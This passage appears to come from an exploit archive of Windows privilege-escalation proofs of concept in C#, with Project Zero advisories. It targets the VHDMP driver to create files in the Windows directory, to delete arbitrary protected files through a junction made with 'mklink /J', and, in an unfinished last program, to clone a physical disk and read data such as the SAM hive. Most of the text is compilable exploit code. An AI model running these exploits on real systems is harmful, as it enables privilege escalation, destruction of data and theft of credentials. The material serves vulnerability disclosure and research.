OpenForBackupIntent = 0x00004000,
NoCompression = 0x00008000,
OpenRequiringOplock = 0x00010000,
ReserveOpfilter = 0x00100000,
OpenReparsePoint = 0x00200000,
OpenNoRecall = 0x00400000,
OpenForFreeSpaceQuery = 0x00800000
}
[Flags]
public enum GenericAccessRights : uint
{
None = 0,
GenericRead = 0x80000000,
GenericWrite = 0x40000000,
GenericExecute = 0x20000000,
GenericAll = 0x10000000,
Delete = 0x00010000,
ReadControl = 0x00020000,
WriteDac = 0x00040000,
WriteOwner = 0x00080000,
Synchronize = 0x00100000,
MaximumAllowed = 0x02000000,
};
[Flags]
enum DirectoryAccessRights : uint
{
Query = 1,
Traverse = 2,
CreateObject = 4,
CreateSubDirectory = 8,
GenericRead = 0x80000000,
GenericWrite = 0x40000000,
GenericExecute = 0x20000000,
GenericAll = 0x10000000,
Delete = 0x00010000,
ReadControl = 0x00020000,
WriteDac = 0x00040000,
WriteOwner = 0x00080000,
Synchronize = 0x00100000,
MaximumAllowed = 0x02000000,
}
[Flags]
public enum ProcessAccessRights : uint
{
None = 0,
CreateProcess = 0x0080,
CreateThread = 0x0002,
DupHandle = 0x0040,
QueryInformation = 0x0400,
QueryLimitedInformation = 0x1000,
SetInformation = 0x0200,
SetQuota = 0x0100,
SuspendResume = 0x0800,
Terminate = 0x0001,
VmOperation = 0x0008,
VmRead = 0x0010,
VmWrite = 0x0020,
MaximumAllowed = GenericAccessRights.MaximumAllowed
};
[Flags]
public enum FileAccessRights : uint
{
None = 0,
ReadData = 0x0001,
WriteData = 0x0002,
AppendData = 0x0004,
ReadEa = 0x0008,
WriteEa = 0x0010,
Execute = 0x0020,
DeleteChild = 0x0040,
ReadAttributes = 0x0080,
WriteAttributes = 0x0100,
GenericRead = 0x80000000,
GenericWrite = 0x40000000,
GenericExecute = 0x20000000,
GenericAll = 0x10000000,
Delete = 0x00010000,
ReadControl = 0x00020000,
WriteDac = 0x00040000,
WriteOwner = 0x00080000,
Synchronize = 0x00100000,
MaximumAllowed = 0x02000000,
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public sealed class UnicodeString
{
ushort Length;
ushort MaximumLength;
[MarshalAs(UnmanagedType.LPWStr)]
string Buffer;
public UnicodeString(string str)
{
Length = (ushort)(str.Length * 2);
MaximumLength = (ushort)((str.Length * 2) + 1);
Buffer = str;
}
}
[DllImport("ntdll.dll")]
static extern int NtClose(IntPtr handle);
public sealed class SafeKernelObjectHandle
: SafeHandleZeroOrMinusOneIsInvalid
{
public SafeKernelObjectHandle()
: base(true)
{
}
public SafeKernelObjectHandle(IntPtr handle, bool owns_handle)
: base(owns_handle)
{
SetHandle(handle);
}
protected override bool ReleaseHandle()
{
if (!IsInvalid)
{
NtClose(this.handle);
this.handle = IntPtr.Zero;
return true;
}
return false;
}
}
public enum SecurityImpersonationLevel
{
Anonymous = 0,
Identification = 1,
Impersonation = 2,
Delegation = 3
}
public enum SecurityContextTrackingMode : byte
{
Static = 0,
Dynamic = 1
}
[StructLayout(LayoutKind.Sequential)]
public sealed class SecurityQualityOfService
{
int Length;
public SecurityImpersonationLevel ImpersonationLevel;
public SecurityContextTrackingMode ContextTrackingMode;
[MarshalAs(UnmanagedType.U1)]
public bool EffectiveOnly;
public SecurityQualityOfService()
{
Length = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public sealed class ObjectAttributes : IDisposable
{
int Length;
IntPtr RootDirectory;
IntPtr ObjectName;
AttributeFlags Attributes;
IntPtr SecurityDescriptor;
IntPtr SecurityQualityOfService;
private static IntPtr AllocStruct(object s)
{
int size = Marshal.SizeOf(s);
IntPtr ret = Marshal.AllocHGlobal(size);
Marshal.StructureToPtr(s, ret, false);
return ret;
}
private static void FreeStruct(ref IntPtr p, Type struct_type)
{
Marshal.DestroyStructure(p, struct_type);
Marshal.FreeHGlobal(p);
p = IntPtr.Zero;
}
public ObjectAttributes() : this(AttributeFlags.None)
{
}
public ObjectAttributes(string object_name, AttributeFlags attributes) : this(object_name, attributes, null, null, null)
{
}
public ObjectAttributes(AttributeFlags attributes) : this(null, attributes, null, null, null)
{
}
public ObjectAttributes(string object_name) : this(object_name, AttributeFlags.CaseInsensitive, null, null, null)
{
}
public ObjectAttributes(string object_name, AttributeFlags attributes, SafeKernelObjectHandle root, SecurityQualityOfService sqos, GenericSecurityDescriptor security_descriptor)
{
Length = Marshal.SizeOf(this);
if (object_name != null)
{
ObjectName = AllocStruct(new UnicodeString(object_name));
}
Attributes = attributes;
if (sqos != null)
{
SecurityQualityOfService = AllocStruct(sqos);
}
if (root != null)
RootDirectory = root.DangerousGetHandle();
if (security_descriptor != null)
{
byte[] sd_binary = new byte[security_descriptor.BinaryLength];
security_descriptor.GetBinaryForm(sd_binary, 0);
SecurityDescriptor = Marshal.AllocHGlobal(sd_binary.Length);
Marshal.Copy(sd_binary, 0, SecurityDescriptor, sd_binary.Length);
}
}
public void Dispose()
{
if (ObjectName != IntPtr.Zero)
{
FreeStruct(ref ObjectName, typeof(UnicodeString));
}
if (SecurityQualityOfService != IntPtr.Zero)
{
FreeStruct(ref SecurityQualityOfService, typeof(SecurityQualityOfService));
}
if (SecurityDescriptor != IntPtr.Zero)
{
Marshal.FreeHGlobal(SecurityDescriptor);
SecurityDescriptor = IntPtr.Zero;
}
GC.SuppressFinalize(this);
}
~ObjectAttributes()
{
Dispose();
}
}
[DllImport("ntdll.dll")]
public static extern int NtOpenFile(
out IntPtr FileHandle,
FileAccessRights DesiredAccess,
ObjectAttributes ObjAttr,
[In] [Out] IoStatus IoStatusBlock,
ShareMode ShareAccess,
FileOpenOptions OpenOptions);
public static void StatusToNtException(int status)
{
if (status < 0)
{
throw new NtException(status);
}
}
public class NtException : ExternalException
{
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string modulename);
[Flags]
enum FormatFlags
{
AllocateBuffer = 0x00000100,
FromHModule = 0x00000800,
FromSystem = 0x00001000,
IgnoreInserts = 0x00000200
}
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int FormatMessage(
FormatFlags dwFlags,
IntPtr lpSource,
int dwMessageId,
int dwLanguageId,
out IntPtr lpBuffer,
int nSize,
IntPtr Arguments
);
[DllImport("kernel32.dll")]
private static extern IntPtr LocalFree(IntPtr p);
private static string StatusToString(int status)
{
IntPtr buffer = IntPtr.Zero;
try
{
if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
{
return Marshal.PtrToStringUni(buffer);
}
}
finally
{
if (buffer != IntPtr.Zero)
{
LocalFree(buffer);
}
}
return String.Format("Unknown Error: 0x{0:X08}", status);
}
public NtException(int status) : base(StatusToString(status))
{
}
}
public class SafeHGlobalBuffer : SafeHandleZeroOrMinusOneIsInvalid
{
public SafeHGlobalBuffer(int length)
: this(Marshal.AllocHGlobal(length), length, true)
{
}
public SafeHGlobalBuffer(IntPtr buffer, int length, bool owns_handle)
: base(owns_handle)
{
Length = length;
SetHandle(buffer);
}
public int Length
{
get; private set;
}
protected override bool ReleaseHandle()
{
if (!IsInvalid)
{
Marshal.FreeHGlobal(handle);
handle = IntPtr.Zero;
}
return true;
}
}
public class SafeStructureBuffer : SafeHGlobalBuffer
{
Type _type;
public SafeStructureBuffer(object value) : base(Marshal.SizeOf(value))
{
_type = value.GetType();
Marshal.StructureToPtr(value, handle, false);
}
protected override bool ReleaseHandle()
{
if (!IsInvalid)
{
Marshal.DestroyStructure(handle, _type);
}
return base.ReleaseHandle();
}
}
public class SafeStructureOutBuffer<T> : SafeHGlobalBuffer
{
public SafeStructureOutBuffer() : base(Marshal.SizeOf(typeof(T)))
{
}
public T Result
{
get
{
if (IsInvalid)
throw new ObjectDisposedException("handle");
return Marshal.PtrToStructure<T>(handle);
}
}
}
public static SafeFileHandle OpenFile(string name, FileAccessRights DesiredAccess, ShareMode ShareAccess, FileOpenOptions OpenOptions, bool inherit)
{
AttributeFlags flags = AttributeFlags.CaseInsensitive;
if (inherit)
flags |= AttributeFlags.Inherit;
using (ObjectAttributes obja = new ObjectAttributes(name, flags))
{
IntPtr handle;
IoStatus iostatus = new IoStatus();
int status = NtOpenFile(out handle, DesiredAccess, obja, iostatus, ShareAccess, OpenOptions);
StatusToNtException(status);
return new SafeFileHandle(handle, true);
}
}
[DllImport("ntdll.dll")]
public static extern int NtDeviceIoControlFile(
SafeFileHandle FileHandle,
IntPtr Event,
IntPtr ApcRoutine,
IntPtr ApcContext,
[Out] IoStatus IoStatusBlock,
uint IoControlCode,
byte[] InputBuffer,
int InputBufferLength,
byte[] OutputBuffer,
int OutputBufferLength
);
[DllImport("ntdll.dll")]
public static extern int NtFsControlFile(
SafeFileHandle FileHandle,
IntPtr Event,
IntPtr ApcRoutine,
IntPtr ApcContext,
[Out] IoStatus IoStatusBlock,
uint FSControlCode,
[In] byte[] InputBuffer,
int InputBufferLength,
[Out] byte[] OutputBuffer,
int OutputBufferLength
);
[DllImport("ntdll.dll")]
static extern int NtCreateDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);
[DllImport("ntdll.dll")]
static extern int NtOpenDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);
const int ProcessDeviceMap = 23;
[DllImport("ntdll.dll")]
static extern int NtSetInformationProcess(
IntPtr ProcessHandle,
int ProcessInformationClass,
byte[] ProcessInformation,
int ProcessInformationLength);
static byte[] StructToBytes(object o)
{
int size = Marshal.SizeOf(o);
IntPtr p = Marshal.AllocHGlobal(size);
try
{
Marshal.StructureToPtr(o, p, false);
byte[] ret = new byte[size];
Marshal.Copy(p, ret, 0, size);
return ret;
}
finally
{
if (p != IntPtr.Zero)
Marshal.FreeHGlobal(p);
}
}
static byte[] GetBytes(string s)
{
return Encoding.Unicode.GetBytes(s + "\0");
}
static SafeKernelObjectHandle CreateDirectory(SafeKernelObjectHandle root, string path)
{
using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, root, null, null))
{
IntPtr handle;
StatusToNtException(NtCreateDirectoryObject(out handle, DirectoryAccessRights.GenericAll, obja));
return new SafeKernelObjectHandle(handle, true);
}
}
static SafeKernelObjectHandle OpenDirectory(string path)
{
using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive))
{
IntPtr handle;
StatusToNtException(NtOpenDirectoryObject(out handle, DirectoryAccessRights.MaximumAllowed, obja));
return new SafeKernelObjectHandle(handle, true);
}
}
[DllImport("ntdll.dll")]
static extern int NtCreateSymbolicLinkObject(
out IntPtr LinkHandle,
GenericAccessRights DesiredAccess,
ObjectAttributes ObjectAttributes,
UnicodeString DestinationName
);
static SafeKernelObjectHandle CreateSymbolicLink(SafeKernelObjectHandle directory, string path, string target)
{
using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, directory, null, null))
{
IntPtr handle;
StatusToNtException(NtCreateSymbolicLinkObject(out handle, GenericAccessRights.MaximumAllowed, obja, new UnicodeString(target)));
return new SafeKernelObjectHandle(handle, true);
}
}
static void SetDosDirectory(SafeKernelObjectHandle directory)
{
IntPtr p = directory.DangerousGetHandle();
byte[] data = null;
if (IntPtr.Size == 4)
{
data = BitConverter.GetBytes(p.ToInt32());
}
else
{
data = BitConverter.GetBytes(p.ToInt64());
}
StatusToNtException(NtSetInformationProcess(new IntPtr(-1), ProcessDeviceMap, data, data.Length));
}
enum StorageDeviceType
{
Unknown = 0,
Iso = 1,
Vhd = 2,
Vhdx = 3,
VhdSet = 4,
}
[StructLayout(LayoutKind.Sequential)]
struct VirtualStorageType
{
public StorageDeviceType DeviceId;
public Guid VendorId;
}
enum OpenVirtualDiskFlag
{
None = 0,
NoParents = 1,
BlankFile = 2,
BootDrive = 4,
CachedIo = 8,
DiffChain = 0x10,
ParentcachedIo = 0x20,
VhdSetFileOnly = 0x40,
}
enum CreateVirtualDiskVersion
{
Unspecified = 0,
Version1 = 1,
Version2 = 2,
Version3 = 3,
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
struct CreateVirtualDiskParameters
{
public CreateVirtualDiskVersion Version;
public Guid UniqueId;
public ulong MaximumSize;
public uint BlockSizeInBytes;
public uint SectorSizeInBytes;
public uint PhysicalSectorSizeInBytes;
[MarshalAs(UnmanagedType.LPWStr)]
public string ParentPath;
[MarshalAs(UnmanagedType.LPWStr)]
public string SourcePath;
// Version 2 on
public OpenVirtualDiskFlag OpenFlags;
public VirtualStorageType ParentVirtualStorageType;
public VirtualStorageType SourceVirtualStorageType;
public Guid ResiliencyGuid;
// Version 3 on
[MarshalAs(UnmanagedType.LPWStr)]
public string SourceLimitPath;
public VirtualStorageType BackingStorageType;
}
enum VirtualDiskAccessMask
{
None = 0,
AttachRo = 0x00010000,
AttachRw = 0x00020000,
Detach = 0x00040000,
GetInfo = 0x00080000,
Create = 0x00100000,
MetaOps = 0x00200000,
Read = 0x000d0000,
All = 0x003f0000
}
enum CreateVirtualDiskFlag
{
None = 0x0,
FullPhysicalAllocation = 0x1,
PreventWritesToSourceDisk = 0x2,
DoNotcopyMetadataFromParent = 0x4,
CreateBackingStorage = 0x8,
UseChangeTrackingSourceLimit = 0x10,
PreserveParentChangeTrackingState = 0x20,
}
[DllImport("virtdisk.dll", CharSet=CharSet.Unicode)]
static extern int CreateVirtualDisk(
[In] ref VirtualStorageType VirtualStorageType,
string Path,
VirtualDiskAccessMask VirtualDiskAccessMask,
[In] byte[] SecurityDescriptor,
CreateVirtualDiskFlag Flags,
uint ProviderSpecificFlags,
[In] ref CreateVirtualDiskParameters Parameters,
IntPtr Overlapped,
out IntPtr Handle
);
static Guid GUID_DEVINTERFACE_SURFACE_VIRTUAL_DRIVE = new Guid("2E34D650-5819-42CA-84AE-D30803BAE505");
static Guid VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT = new Guid("EC984AEC-A0F9-47E9-901F-71415A66345B");
static SafeFileHandle CreateVHD(string path)
{
VirtualStorageType vhd_type = new VirtualStorageType();
vhd_type.DeviceId = StorageDeviceType.Vhd;
vhd_type.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT;
CreateVirtualDiskParameters ps = new CreateVirtualDiskParameters();
ps.Version = CreateVirtualDiskVersion.Version1;
ps.SectorSizeInBytes = 512;
ps.MaximumSize = 100 * 1024 * 1024;
IntPtr hDisk;
int error = CreateVirtualDisk(ref vhd_type, path, VirtualDiskAccessMask.All, null, CreateVirtualDiskFlag.None, 0, ref ps, IntPtr.Zero, out hDisk);
if (error != 0)
{
throw new Win32Exception(error);
}
return new SafeFileHandle(hDisk, true);
}
enum SetVirtualDiskInfoVersion
{
Unspecified = 0,
ParentPath = 1,
Identified = 2,
ParentPathWithDepth = 3,
PhysicalSectionSize = 4,
VirtualDiskId = 5,
ChangeTrackingState = 6,
ParentLocator = 7,
}
[StructLayout(LayoutKind.Sequential)]
struct SetVirtualDiskInfo
{
public SetVirtualDiskInfoVersion Version;
[MarshalAs(UnmanagedType.Bool)]
public bool ChangeTrackingEnabled;
}
[DllImport("virtdisk.dll", CharSet = CharSet.Unicode)]
static extern int SetVirtualDiskInformation(
SafeFileHandle VirtualDiskHandle,
ref SetVirtualDiskInfo VirtualDiskInfo
);
static List<SafeKernelObjectHandle> CreateChainForPath(string path)
{
string[] parts = path.Split('\\');
List<SafeKernelObjectHandle> ret = new List<SafeKernelObjectHandle>();
SafeKernelObjectHandle curr = CreateDirectory(null, null);
ret.Add(curr);
foreach (string part in parts)
{
curr = CreateDirectory(curr, part);
ret.Add(curr);
}
return ret;
}
static void Main(string[] args)
{
try
{
string vhd_path = Path.GetFullPath("test.vhd");
File.Delete(vhd_path);
File.Delete(vhd_path + ".rct");
File.Delete(vhd_path + ".mrt");
Console.WriteLine("[INFO]: Creating VHD {0}", vhd_path);
List<SafeKernelObjectHandle> chain = CreateChainForPath(Path.GetDirectoryName(vhd_path));
SafeKernelObjectHandle rct_symlink = CreateSymbolicLink(chain.Last(), Path.GetFileName(vhd_path) + ".rct", @"\SystemRoot\abc.txt");
SafeKernelObjectHandle mrt_symlink = CreateSymbolicLink(chain.Last(), Path.GetFileName(vhd_path) + ".mrt", @"\SystemRoot\xyz.txt");
using (SafeFileHandle handle = CreateVHD(vhd_path))
{
// Write dummy files for when the kernel impersonates us (and kills the per-process device map)
File.WriteAllBytes(vhd_path + ".rct", new byte[0]);
File.WriteAllBytes(vhd_path + ".mrt", new byte[0]);
SetVirtualDiskInfo disk_info = new SetVirtualDiskInfo();
disk_info.Version = SetVirtualDiskInfoVersion.ChangeTrackingState;
disk_info.ChangeTrackingEnabled = true;
SetDosDirectory(chain.First());
int error = SetVirtualDiskInformation(handle, ref disk_info);
chain[1].Close();
if (error != 0)
{
throw new Win32Exception(error);
}
}
if (!File.Exists(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "abc.txt")))
{
Console.WriteLine("[ERROR]: Didn't create arbitrary file");
}
else
{
Console.WriteLine("[SUCCESS]: Created arbitary file");
}
}
catch (Exception ex)
{
Console.WriteLine("[ERROR]: {0}", ex.Message);
}
}
}
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=915
Windows: VHDMP ZwDeleteFile Arbitrary File Deletion EoP
Platform: Windows 10 10586 and 14393. No idea about 7 or 8.1 versions.
Class: Elevation of Privilege
Summary:
The VHDMP driver doesn’t safely delete files leading to arbitrary file deletion which could result in EoP.
Description:
The VHDMP driver is used to mount VHD and ISO files so that they can be accessed as a normal mounted volume. There are numerous places where the driver calls ZwDeleteFile without specifying OBJ_FORCE_ACCESS_CHECK. This can be abused to delete any arbitrary file or directory on the filesystem by abusing symbolic links to redirect the delete file name to an arbitrary location. Also due to the behaviour of ZwDeleteFile we also don’t need to play games with the DosDevices directory or anything like that, the system call opens the target file without specifying FILE_DIRECTORY_FILE or FILE_NON_DIRECTORY_FILE flags, this means it’s possible to use a mount point even to redirect to a file due to the way reparsing works in the kernel.
Some places where ZwDeleteFile is called (based on 10586 x64 vhdmp.sys) are:
VhdmpiDeleteRctFiles
VhdmpiCleanupFileWrapper
VhdmpiInitializeVhdSetExtract
VhdmpiCtCreateEnableTrackingRequest
VhdmpiMultiStageSwitchLogFile
VhdmpiApplySnapshot
And much much more.
You get the idea, as far as I can tell none of these calls actually pass OBJ_FORCE_ACCESS_CHECK flag so all would be vulnerable (assuming you can specify the filename suitably). Note this doesn’t need admin rights as we never mount the VHD. However you can’t use it in a sandbox as opening the drive goes through multiple access checks.
While deleting files/directories might not seem to be too important you can use it to delete files in ProgramData or Windows\Temp which normally are OWNER RIGHTS locked to the creator. This could then be recreated by the user due to default DACLs and abuse functionality of other services/applications.
Proof of Concept:
I’ve provided a PoC as a C# source code file. You need to compile with .NET 4 or higher. It will delete an arbitrary file specified on the command line. It abuses the fact that during VHD creation the kernel will delete the .rct/.mrt files (this limits the poc to Win10 only). So we drop a test.vhd.rct mount point pointing at the target into the same directory and call create.
1) Compile the C# source code file.
2) Execute the poc on Win 10 passing the path to the file to delete. It will check that the file is present and can’t be deleted.
3) It should print that it successfully deleted the file
Expected Result:
The target file isn’t deleted, the VHD creation fails.
Observed Result:
The target file is deleted.
*/
using Microsoft.Win32.SafeHandles;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
namespace DfscTest
{
class Program
{
enum StorageDeviceType
{
Unknown = 0,
Iso = 1,
Vhd = 2,
Vhdx = 3,
VhdSet = 4,
}
[StructLayout(LayoutKind.Sequential)]
struct VirtualStorageType
{
public StorageDeviceType DeviceId;
public Guid VendorId;
}
enum OpenVirtualDiskFlag
{
None = 0,
NoParents = 1,
BlankFile = 2,
BootDrive = 4,
CachedIo = 8,
DiffChain = 0x10,
ParentcachedIo = 0x20,
VhdSetFileOnly = 0x40,
}
enum CreateVirtualDiskVersion
{
Unspecified = 0,
Version1 = 1,
Version2 = 2,
Version3 = 3,
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
struct CreateVirtualDiskParameters
{
public CreateVirtualDiskVersion Version;
public Guid UniqueId;
public ulong MaximumSize;
public uint BlockSizeInBytes;
public uint SectorSizeInBytes;
public uint PhysicalSectorSizeInBytes;
[MarshalAs(UnmanagedType.LPWStr)]
public string ParentPath;
[MarshalAs(UnmanagedType.LPWStr)]
public string SourcePath;
// Version 2 on
public OpenVirtualDiskFlag OpenFlags;
public VirtualStorageType ParentVirtualStorageType;
public VirtualStorageType SourceVirtualStorageType;
public Guid ResiliencyGuid;
// Version 3 on
[MarshalAs(UnmanagedType.LPWStr)]
public string SourceLimitPath;
public VirtualStorageType BackingStorageType;
}
enum VirtualDiskAccessMask
{
None = 0,
AttachRo = 0x00010000,
AttachRw = 0x00020000,
Detach = 0x00040000,
GetInfo = 0x00080000,
Create = 0x00100000,
MetaOps = 0x00200000,
Read = 0x000d0000,
All = 0x003f0000
}
enum CreateVirtualDiskFlag
{
None = 0x0,
FullPhysicalAllocation = 0x1,
PreventWritesToSourceDisk = 0x2,
DoNotcopyMetadataFromParent = 0x4,
CreateBackingStorage = 0x8,
UseChangeTrackingSourceLimit = 0x10,
PreserveParentChangeTrackingState = 0x20,
}
[DllImport("virtdisk.dll", CharSet=CharSet.Unicode)]
static extern int CreateVirtualDisk(
[In] ref VirtualStorageType VirtualStorageType,
string Path,
VirtualDiskAccessMask VirtualDiskAccessMask,
[In] byte[] SecurityDescriptor,
CreateVirtualDiskFlag Flags,
uint ProviderSpecificFlags,
[In] ref CreateVirtualDiskParameters Parameters,
IntPtr Overlapped,
out IntPtr Handle
);
static Guid GUID_DEVINTERFACE_SURFACE_VIRTUAL_DRIVE = new Guid("2E34D650-5819-42CA-84AE-D30803BAE505");
static Guid VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT = new Guid("EC984AEC-A0F9-47E9-901F-71415A66345B");
static SafeFileHandle CreateVHD(string path)
{
VirtualStorageType vhd_type = new VirtualStorageType();
vhd_type.DeviceId = StorageDeviceType.Vhd;
vhd_type.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT;
CreateVirtualDiskParameters ps = new CreateVirtualDiskParameters();
ps.Version = CreateVirtualDiskVersion.Version1;
ps.SectorSizeInBytes = 512;
ps.MaximumSize = 100 * 1024 * 1024;
IntPtr hDisk;
int error = CreateVirtualDisk(ref vhd_type, path, VirtualDiskAccessMask.All, null, CreateVirtualDiskFlag.None, 0, ref ps, IntPtr.Zero, out hDisk);
if (error != 0)
{
throw new Win32Exception(error);
}
return new SafeFileHandle(hDisk, true);
}
static void Main(string[] args)
{
try
{
if (args.Length < 1)
{
Console.WriteLine(@"[USAGE]: poc file\to\delete");
Environment.Exit(1);
}
string delete_path = Path.GetFullPath(args[0]);
if (!File.Exists(delete_path))
{
Console.WriteLine("[ERROR]: Specify a valid file to delete");
Environment.Exit(1);
}
try
{
File.Delete(delete_path);
Console.WriteLine("[ERROR]: Could already delete file, choose one which you normally can't delete");
Environment.Exit(1);
}
catch
{
}
string vhd_path = Path.GetFullPath("test.vhd");
File.Delete(vhd_path);
try
{
Directory.Delete(vhd_path + ".rct");
}
catch
{
}
Console.WriteLine("[INFO]: Creating VHD {0}", vhd_path);
string cmdline = String.Format("/C mklink /J \"{0}.rct\" \"{1}\"", vhd_path, args[0]);
ProcessStartInfo start_info = new ProcessStartInfo("cmd", cmdline);
start_info.UseShellExecute = false;
Process p = Process.Start(start_info);
p.WaitForExit();
if (p.ExitCode != 0)
{
Console.WriteLine("[ERROR]: Can't create symlink");
Environment.Exit(1);
}
using (SafeFileHandle handle = CreateVHD(vhd_path))
{
}
if (File.Exists(delete_path))
{
Console.WriteLine("[ERROR]: Didn't delete arbitrary file");
}
else
{
Console.WriteLine("[SUCCESS]: Deleted arbitary file");
}
}
catch (Exception ex)
{
Console.WriteLine("[ERROR]: {0}", ex.Message);
}
}
}
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=916
Windows: VHDMP Arbitrary Physical Disk Cloning EoP
Platform: Windows 10 10586. No idea about 14393, 7 or 8.1 versions.
Class: Elevation of Privilege
Summary:
The VHDMP driver doesn’t open physical disk drives securely when creating a new VHD leading to information disclosure and EoP by allowing a user to access data they’re shouldn’t have access to.
Description:
The VHDMP driver is used to mount VHD and ISO files so that they can be accessed as a normal mounted volume. When creating a new VHD it’s possible to specify a physical drive to clone from, you’d assume that this feature would be limited to only administrators as accessing a physical disk for read access is limited to administrators group and system. However when calling VhdmpiTryOpenPhysicalDisk the driver uses ZwOpenFile and doesn’t specify the OBJ_FORCE_ACCESS_CHECK flag. As no other administrator checks are done this means that a normal user can clone the physical disk to another file which they can read, to bypass DACL checks on NTFS and extract data such as the SAM hive.
Proof of Concept:
I’ve provided a PoC as a C# source code file. You need to compile with .NET 4 or higher. It will create a new VHDX from a specified physical drive. Note as this is a physical clone it’ll presumably not bypass Bitlocker, but that’s not likely to be a major issue in a lot of cases.
1) Compile the C# source code file.
2) Execute the poc on Win 10 passing the path to the vhd file to create and the physical drive index of the drive to clone. If you run without arguments it’ll print which drives are available. You probably want to clone one drive to another otherwise you’d likely run out of space (and of course have enough space). It also should work to copy the vhd out to a network share.
3) It should print that it created the clone of the drive. If you now mount that VHD somewhere else it should contain the original file systems of the original disk.
Expected Result:
The VHD creation fails with access denied.
Observed Result:
The physical disk is cloned successfully.
*/
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Management;
using System.Runtime.InteropServices;
using System.Linq;
namespace Poc
{
class Program
{
enum StorageDeviceType
{
Unknown = 0,
Iso = 1,
Vhd = 2,
Vhdx = 3,
VhdSet = 4,
}
[StructLayout(LayoutKind.Sequential)]
struct VirtualStorageType
{
public StorageDeviceType DeviceId;
public Guid VendorId;
}
enum OpenVirtualDiskFlag
{
None = 0,
NoParents = 1,
BlankFile = 2,
BootDrive = 4,
CachedIo = 8,
DiffChain = 0x10,
ParentcachedIo = 0x20,
VhdSetFileOnly = 0x40,
}
enum CreateVirtualDiskVersion
{
Unspecified = 0,
Version1 = 1,
Version2 = 2,
Version3 = 3,
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
struct CreateVirtualDiskParameters
{
public CreateVirtualDiskVersion Version;
public Guid UniqueId;
public ulong MaximumSize;
public uint BlockSizeInBytes;
public uint SectorSizeInBytes;
[MarshalAs(UnmanagedType.LPWStr)]
public string ParentPath;
[MarshalAs(UnmanagedType.LPWStr)]
public string SourcePath;
}
enum VirtualDiskAccessMask
{
None = 0,
AttachRo = 0x00010000,
AttachRw = 0x00020000,
Detach = 0x00040000,
GetInfo = 0x00080000,
Create = 0x00100000,
MetaOps = 0x00200000,
Read = 0x000d0000,
All = 0x003f0000
}
enum CreateVirtualDiskFlag
{
None = 0x0,
FullPhysicalAllocation = 0x1,
PreventWritesToSourceDisk = 0x2,
DoNotcopyMetadataFromParent = 0x4,
CreateBackingStorage = 0x8,
UseChangeTrackingSourceLimit = 0x10,
PreserveParentChangeTrackingState = 0x20,
}
[DllImport("virtdisk.dll", CharSet=CharSet.Unicode)]
static extern int CreateVirtualDisk(
[In] ref VirtualStorageType VirtualStorageType,
string Path,
VirtualDiskAccessMask VirtualDiskAccessMask,
[In] byte[] SecurityDescriptor,
CreateVirtualDiskFlag Flags,
uint ProviderSpecificFlags,
[In] ref CreateVirtualDiskParameters Parameters,
IntPtr Overlapped,
out IntPtr Handle
);
static Guid GUID_DEVINTERFACE_SURFACE_VIRTUAL_DRIVE = new Guid("2E34D650-5819-42CA-84AE-D30803BAE505");
static Guid VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT = new Guid("EC984AEC-A0F9-47E9-901F-71415A66345B");
class PhysicalDisk
{
public uint Index { get; private set; }
public string Name { get; private set; }
public uint SectorSizeInBytes { get; private set; }
public ulong SizeInBytes { get; private set; }
public string Model { get; private set; }
public PhysicalDisk(ManagementObject wmi_object)
{
Index = (uint)wmi_object["Index"];
Name = (string)wmi_object["DeviceId"];
SectorSizeInBytes = (uint)wmi_object["BytesPerSector"];
SizeInBytes = (ulong)wmi_object["Size"];
Model = (string)wmi_object["Model"];
}
static string FormatHuman(ulong l)
{
if (l < 1000 * 1000)
return l.ToString();
l = l / (1000 * 1000);
if (l < 1000)
return String.Format("{0}MB", l);
l = l / (1000);
if (l < 1000)
return String.Format("{0}GB", l);
l = l / (1000);
if (l < 1000)
return String.Format("{0}TB", l);
return l.ToString();
}
public override string ToString()
{
return String.Format("{0}: Name={1}, Model={2}, Size={3}", Index, Name, Model, FormatHuman(SizeInBytes));
}
public static IEnumerable<PhysicalDisk> GetDisks()
{
SelectQuery selectQuery = new SelectQuery("Win32_DiskDrive");
ManagementObjectSearcher searcher =
new ManagementObjectSearcher(selectQuery);
foreach (ManagementObject disk in searcher.Get())
{
yield return new PhysicalDisk(disk);
}
}
}
static PhysicalDisk GetPhysicalDisk(uint index)
{
PhysicalDisk disk = PhysicalDisk.GetDisks().First(d => d.Index == index);
if (disk == null)
throw new InvalidOperationException(String.Format("Can't find physical disk index {0}", index));
return disk;
}
static void PrintPhysicalDisks()
{
foreach (PhysicalDisk disk in PhysicalDisk.GetDisks())
{
Console.WriteLine(disk);
}
}
static SafeFileHandle CreateVHD(string path, PhysicalDisk disk)
{
VirtualStorageType vhd_type = new VirtualStorageType();
